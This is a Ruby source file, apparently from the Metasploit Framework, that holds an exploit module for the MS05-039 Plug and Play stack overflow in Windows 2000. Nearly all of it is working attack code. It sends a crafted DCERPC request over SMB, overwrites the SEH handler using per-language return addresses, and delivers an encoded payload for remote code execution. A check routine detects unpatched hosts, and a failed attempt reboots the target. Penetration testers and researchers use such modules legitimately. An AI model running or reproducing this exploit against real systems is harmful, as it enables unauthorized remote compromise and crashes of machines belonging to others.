metasploit-framework/modules/exploits/windows/smb/ms05_039_pnp.rb

208 lines
4.7 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Windows::Smb::MS05_039_PNP < Msf::Exploit::Remote
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft PnP MS05-039 Overflow',
'Description' => %q{
This module exploits a stack overflow in the Windows Plug
and Play service. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP
service runs inside the service.exe process, a failed
exploit attempt will cause the system to automatically
reboot.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '18605'],
[ 'CVE', '2005-1983'],
[ 'BID', '14513'],
[ 'MSB', 'MS05-039'],
[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],
[ 'MIL', '87'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'Compat' =>
{
# -ws2ord XXX?
},
},
'Targets' =>
[
[
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
{
'Platform' => 'win',
'Ret' => 0x767a38f6, # umpnpmgr.dll
},
],
[
'Windows 2000 SP4 French',
{
'Platform' => 'win',
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
},
],
[
'Windows 2000 SP4 Spanish',
{
'Platform' => 'win',
'Ret' => 0x767738f6, # umpnpmgr.dll
},
],
[
'Windows 2000 SP0-SP4 German',
{
'Platform' => 'win',
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
},
],
],
'DisclosureDate' => 'Aug 9 2005'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
], self)
end
def pnp_probe(req)
connect
smb_login
# CS_DES
# CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
# GUID and then the dataz
cs_des = [ 0, 0, req.length, 0].pack('VVVV') + rand_data(16) + req
#
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
#
# ResourceName:
# our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
stubdata = ndr_unicode_conformant_varying_string("a\\b\\c")
# ResourceID:
# 0xffff - ResType_ClassSpecific
stubdata << ndr_long(0xffff)
# ResourceData:
# our CS_DES structure
stubdata << ndr_unicode_conformant_array(cs_des)
# ResourceLen:
stubdata << ndr_long(cs_des.length)
# OutputLen:
# Need to be atleast 4...
stubdata << ndr_long(4)
# Flags:
stubdata << ndr_long(0)
# Open the pipe
fid = smb_create("\\#{datastore['SMBPIPE']}")
# Bind to the interface
res = smb_dcerpc_bind(fid, 'PNP')
return false if not res
# Exploit the function
res = smb_dcerpc_call(fid, 0x36, stubdata)
# Cleanup
handler
disconnect
# This indicates that the server is not patched when called with an invalid parameter
if (res and res.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
return true
end
return false
end
def check
if (pnp_probe('A'))
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# Pad the string up to reach our SEH frame
buf = rand_data(56)
# Jump over the address and our invalid pointer to the payload
buf << Rex::Arch::X86.jmp_short('$+32')
buf << rand_data(2)
# The SEH handler pointer
buf << [target.ret].pack('V')
# Some padding to reach the next pointer
buf << rand_data(20)
# ResourceName - cause access violation on RtlInitUnicodeString
buf << rand_data(3) + "\xff"
# Append the encoded payload and we are good to go!
buf << payload.encoded
pnp_probe(buf)
end
# Pads out a string to a dword-aligned value
def dword_align(str)
str << rand_data((4 - (str.length & 3)) & 3)
end
# Generates a random string of bytes
def rand_data(len=0)
Rex::Text.rand_text(len)
end
# Integer represented in little-endian
def ndr_long(val)
[val].pack('V')
end
# Character array, length is the actual byte count
def ndr_unicode_conformant_array(str, len=str.length)
res = ''
res << [len].pack('V')
res << str
dword_align(res)
end
# Character array, length is the actual byte count + terminator
def ndr_unicode_conformant_varying_string(str)
res = ''
res << [str.length+1, 0, str.length+1].pack('VVV')
res << unicode(str + "\x00")
dword_align(res)
end
end
end